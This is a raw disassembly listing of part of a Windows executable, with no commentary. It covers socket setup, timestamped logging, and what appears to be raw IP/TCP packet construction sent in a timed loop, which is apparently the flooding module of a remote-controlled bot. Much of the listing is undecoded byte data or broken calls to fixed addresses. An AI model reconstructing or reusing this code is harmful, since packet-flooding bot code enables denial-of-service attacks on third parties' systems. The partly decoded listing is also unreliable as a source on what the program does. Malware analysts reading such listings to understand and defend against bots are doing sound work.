; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022EAFh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 29E89000h, 2B0229BCh
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69C55DE8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2EAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0B72EE8FCh, 2B900229h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 0A932E856h
		dd 5F90022Eh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h,	6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0B082E8FFh, 2B900229h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 28A81AE8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 89E8h
; ---------------------------------------------------------------------------
		mov	al, ds:5F90022Eh
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022E9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Eh, 0A345E890h,	0FF330228h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 0A2EDE890h, 0A6A0228h, 0FF549DE8h, 59C085FFh, 858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
		dd 2E9E3FE8h
		db 2
; ---------------------------------------------------------------------------


